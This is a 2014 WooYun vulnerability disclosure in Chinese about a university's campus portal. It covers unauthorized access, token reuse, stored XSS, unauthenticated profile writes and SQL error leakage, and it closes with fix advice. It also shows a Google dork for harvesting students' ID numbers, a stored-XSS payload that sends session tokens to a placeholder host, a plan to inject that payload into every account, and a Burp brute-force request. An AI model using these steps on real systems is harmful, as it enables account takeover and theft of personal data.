当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-087091

漏洞标题:某大学数字校园门户多漏洞打包

相关厂商:中国石油大学

漏洞作者: 天蓝君

提交时间:2014-12-15 15:13

修复时间:2014-12-20 15:14

公开时间:2014-12-20 15:14

漏洞类型:敏感信息泄露

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-15: 细节已通知厂商并且等待厂商处理中
2014-12-20: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

未授权访问、xss、token重用、数据库随意

详细说明:

石油大学数字校园门户漏洞,漏洞网站网址
menhu.cup.edu.cn
网站于11.24下午上线,上来发现几个漏洞。下面是流程
用户名和密码默认是学号+身份证号后六位
首先我们要登进去、google搜索site:cup.edu.cn filetype:xls 身份证
随便找一个倒霉鬼的身份证,登陆进去
然后看到是个本科生、发现第一个漏洞,未授权访问,一个未登陆的用户可以从外网通过访问http://menhu.cup.edu.cn/puservice/task.s?action=download&userId=xxx
获取到任意员工和学生的证件照。
然后是第二个漏洞,权限限制不严格
未登录用户从外网通过访问http://menhu.cup.edu.cn/sso/index!loadType.action?username=xxx
可以获取任意用户的用户类型,0不存在1教职工2本科生3研究生
可以通过本方法fuzz出所有用户
然后写个脚本fuzz然后处理一下保存备用。
用得到的工号学号利用第一个漏洞下载所有人照片,这个时候如果你是有目的的攻击某个老师的账号,你可能不知道他的工号,但是可以根据照片找到对应的人。
访问个人基本信息页面发现:
第三个漏洞:TOKEN用的get(此漏洞已于2014.12.9下午4点半修复)
点开个人基本信息页面的时候发现网址栏里有个ICMS_SSO_USER_TOKEN=xxx,其实这是一种很不安全的方式、一个xss就轻易的把token拿走了、就算HTTPOnly的cookie保护的再好这里一个漏洞其他地方在严密也毁了。 解决方案是把参数改成POST,学校已于2014.12.9下午4点半修复这个漏洞。这也使后面的xss利用变得困难,不过大家都懂的,这并不代表不可能,因为其他的漏洞还是存在的,只是用起来难一些。
第四个漏洞 TOKEN可重用
Charles记录访问过程,发现访问的网址是
http://menhu.cup.edu.cn/puservice/task.s?action=findUserDetailsInfo&ICMS_SSO_USER_TOKEN=xxx
然后访问http://menhu.cup.edu.cn/sso/index!load.action?appCode=ICMS
可得到所有子app的数据
{
"isEditPw": "edit",
"enableAppCodeSet": [
"SDZY",
"XYKSYS",
"TSGL",
"WL",
"YJSXT"
],
"appInfoList": [
{
"tmId": "SDZY",
"appCode": "SDZY",
"siteName": "学校主页",
"iconId": "AMUKDQARRAABRVCKJTIIUAATYUIFELGF",
"authType": "NONE",
"urlLogin": "http://www.cup.edu.cn",
"enabled": true,
"tmSystemType": "1"
},
{
"tmId": "OA_SYS",
"appCode": "OA_SYS",
"siteName": "OA系统",
"iconId": "AMTOODKEBJEUSVVWHWIGPOUNAGLOJSXT",
"authType": "TOKEN_GET",
"urlLogin": "http://oa.cup.edu.cn/",
"enabled": true,
"paramLoginOther": "[{'value':'sydxOneWebSit','name':'from'}]",
"tmSystemType": "0"
},
{
"tmId": "JWXT",
"appCode": "JWXT",
"siteName": "教务系统",
"iconId": "AMTPBICRUBPTEHPSUPKEDWIPWUROIBIL",
"authType": "TOKEN_POST",
"urlLogin": "http://202.204.193.215/Zxmhlogin.jsp",
"enabled": true,
"tmSystemType": "0"
},
{
"tmId": "@RAMS",
"appCode": "@RAMS",
"siteName": "统一用户管理平台",
"iconId": "AMQRBAXJOCAAUJHICWHKRXBXJMGPDYIB",
"authType": "TOKEN_POST",
"urlLogin": "http://localhost:8080/rams/index.jsp",
"enabled": true
},
{
"tmId": "YJSXT",
"appCode": "YJSXT",
"siteName": "研究生系统",
"iconId": "AMTOOJGWBBFFBWPONKWDRHVUOKUSEDKC",
"authType": "TOKEN_GET",
"urlLogin": "http://gmis.cup.edu.cn/pyxx/logindd.aspx",
"enabled": true,
"tmSystemType": "0"
},
{
"tmId": "YJSXT_TEACHER",
"appCode": "YJSXT_TEACHER",
"siteName": "研究生系统",
"iconId": "AMTOODBHHVETMVUTORXDOVONAKOCMCMX",
"authType": "TOKEN_GET",
"urlLogin": "http://gmis.cup.edu.cn/gmis/logindd.aspx",
"enabled": true,
"tmSystemType": "0"
},
{
"tmId": "KYGLXT",
"appCode": "KYGLXT",
"siteName": "科研管理系统",
"iconId": "AMTOODGOEMEUDVVLNCPBPTJYMCQRYOPX",
"authType": "TOKEN_GET",
"urlLogin": "http://202.204.201.35:8088/business/login.do",
"enabled": true,
"paramLoginOther": "[{'name':'userFrom','value':'SSO'}]",
"tmSystemType": "0"
},
{
"tmId": "TSGL",
"appCode": "TSGL",
"siteName": "图书管理系统",
"iconId": "AMUKDKTPLLXTEUKRIUCWBKTLCRQYBRUO",
"authType": "NONE",
"urlLogin": "http://menhu.cup.edu.cn/sso/consSite/consSite.html",
"enabled": true,
"tmSystemType": "0"
},
{
"tmId": "XYKSYS",
"appCode": "XYKSYS",
"siteName": "校园卡系统",
"iconId": "AMTOODIUMKEUQVVSIUTLFOWMBKJDKUHO",
"authType": "TOKEN_GET",
"urlLogin": "http://card.cup.edu.cn/sydxPortalHome.action",
"enabled": true,
"tmSystemType": "0"
},
{
"tmId": "SBGL",
"appCode": "SBGL",
"siteName": "设备管理系统",
"iconId": "AMUKDKNLRSXSPUJWTNASGUTPSXGGLQOW",
"authType": "NONE",
"urlLogin": "http://menhu.cup.edu.cn/sso/consSite/consSite.html",
"enabled": true,
"tmSystemType": "0"
},
{
"tmId": "10203",
"appCode": "OA",
"siteName": "OA办公管理系统",
"authType": "TOKEN_GET",
"urlLogin": "http://oa.cup.edu.cn/seeyon/login/sso?from=sydxOneWebSit",
"enabled": false,
"tmSystemType": "0"
},
{
"tmId": "10210",
"appCode": "WL",
"siteName": "网络管理系统",
"iconId": "AMTPDDJVRQPXVNCGXNAPHNNEZBPVKOOG",
"authType": "TOKEN_GET",
"urlLogin": "http://webservice.cup.edu.cn/network/query/LoginCheck2.aspx",
"enabled": false,
"tmSystemType": "0"
}
],
"userId": "201xxx",
"username": "201xxx",
"tuCname": "xxx",
"listStyle": "1",
"pwEditUrl": "/sso/content/self/busSysPwEditMain.jsp",
"user_token": "xxx",
"isPromptChangeOrigpwdBy": true
}
好了那么TOKEN GET就是直接在后面ICMS_SSO_USER_TOKEN=xxx
POST就是参数里ICMS_SSO_USER_TOKEN=xxx
然后一个TOKEN可以多网站登陆、爽爽的。再加上特别的参数,基本都是GET的param,然后结合后面的xss,即可攻破该学校所有网站的任意账户。
第五个漏洞:
也是人基本信息页面发现存在xss漏洞、漏洞位置在三个可以修改的信息上

0.png


没有任何过滤、直接写脚本即可。
第六个漏洞:
权限限制不严格,上面xss提到的漏洞非登陆用户可以从外部网络随便写入,访问
http://menhu.cup.edu.cn/puservice/task.s?action=saveUserInfo&userId=<Your id>&type=tuTel&value=<payload>
即可插入所有用户,可以随便插、准备payload
http://menhu.cup.edu.cn/puservice/task.s?action=saveUserInfo&userId=xxx&type=yyy&value=</td></tr><script>document.write("<img src=http://site/token"%2blocation.search%2b"%26tuAcct="%2bdocument.getElementById("tuAcct").value%2b" onload=location.reload()>");</script>
然后写个py脚本拿上面获取到的所有工号学号注入攻击代码。这个时候访问个人信息已经是不安全的了,再写个利用的服务端app就OK了。
最后一个漏洞……轮到压轴漏洞了、放个大吧……数据库任意写入,其实这个也是歪打正着,本来测试xss手贱打了个’然后得到反馈数据
Error 500: org.springframework.web.util.NestedServletException: Request processing failed; nested exception is org.springframework.jdbc.InvalidResultSetAccessException: PreparedStatementCallback; invalid ResultSet access for SQL [UPDATE RAMS_SYS_USER SET tu_Mobile=''' WHERE TU_ACCT=?]; nested exception is java.sql.SQLException: Invalid column index
于是UPDATE RAMS_SYS_USER SET tu_Mobile='' WHERE TU_ACCT=?
好了那表名已经知道了 RAMS_SYS_USER,然后开burp吧,选Intruder,position内容是
GET /puservice/task.s?action=saveUserInfo&userId=201xxx&type=§tuTel§&value= HTTP/1.1
Host: menhu.cup.edu.cn
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
然后设置Payloads brute forcer,
set abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_
然后开始fuzz,只要返回OK就是正确的表名了。过一会可以看到所有的表头……然后大家猜猜这个可以怎么用呢?

漏洞证明:

获取到的信息如图

1.png


CIC里是什么呢,我们举个栗子,这是本科生的

2.png


3.png


这是研究生的……肿么样?是不是很可怕?

修复方案:

自己能看自己的就行了、task.s判断操作账户是否为当前cookie所代表的账户,如果不是就拒绝,xss就过滤一下呗,然后身份证号泄露这种问题就直接robots.txt一下就妥了,http://menhu.cup.edu.cn/sso/index!loadType.action也要判断下操作目标的权限,然后至于sql注入的问题、一个是过滤返回的错误信息、500的时候记录到log里就行了、这么忠实的返回客户端是几个意思?怕别人不知道代码怎么写的么?在一个就是xss过滤的时候一起把可能的危险字符都过滤了吧、能储存电话的地方就只允许数字和-,能存邮箱的地方就要判断存进来的是不是邮箱,不要总觉得输入是合法的。

版权声明:转载请注明来源 天蓝君@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-12-20 15:14

厂商回复:

最新状态:

暂无